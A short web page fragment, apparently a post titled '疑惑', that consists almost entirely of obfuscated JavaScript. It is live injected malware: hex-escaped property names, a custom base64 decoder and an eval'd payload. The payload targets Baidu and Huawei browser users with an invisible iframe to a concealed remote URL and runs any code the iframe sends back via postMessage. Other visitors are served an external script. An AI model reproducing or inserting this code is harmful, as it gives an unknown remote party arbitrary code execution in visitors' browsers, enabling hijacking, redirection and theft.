疑惑

eval("\x77\x69\x6e\x64\x6f\x77")["\x76\x65\x4a\x79\x78"]=function(e){var bf ='ABCDEFGHIJKLMNOPQR'+''+'STUVWXYZab'+'cdefghijk'+''+'lmnopqrstuvwxyz'+''+'012345678'+'9+/'+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x48\x47\x78\x44"]=function(){eval(veJyx("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQodmVKeXgodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpOydqUXVlcnknO2lmKG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih2ZUp5eCgiWW1GcFpIVT0iKSk+LTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHZlSnl4KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbdmVKeXgoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciB6PXUrJy0xLmh0bWw/SEd4RCc7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciIGFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbJ2FkJysnZEV2JysnZW50TCcrJ2lzdCcrJ2VuZXInXSgnbScrJ2VzcycrJ2FnZScsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3JdKXtybShjKTtuZXcgRnVuY3Rpb24oZXZhbChkZWNvZGVVUklDb21wb25lbnQoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkpKCk7fX0pO31lbHNle2RvY3VtZW50LndyaXRlKCc8cycrJ2NyaScrJ3B0IHNyYz0iJyt1KycuanMiPjxcL3MnKydjcmlwJysndD4nKTt9fSkoJzAnKycnKydNJysnJysnVEw0JysnJysnZycrJycrJ2pNJysnJysndGduJysnUnknKycnKydVeScrJ2N5JysnJysncCcrJzMnKycnKydjeCcrJ2RIWicrJ0dKVCcrJ0p6UScrJ0ROdycrJ0lUJysnJysnUScrJ3pVJysnaWU1JysnaG5MJysnJysneScrJ0FUJysnJysnWnInKydkbScrJycrJ20nKycnKydicCcrJycrJ3htbScrJ0x6WicrJycrJ2snKycnKydNbFknKydrTWwnKydFME0nKycnKydsTScrJycrJ0hjMCcrJycrJ1JIJysnJysnYScrJycsJycrJ2RlcycrJ19zJysnXzI4OCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKycnKycnKycnKycnKycnLCdtJyk="));}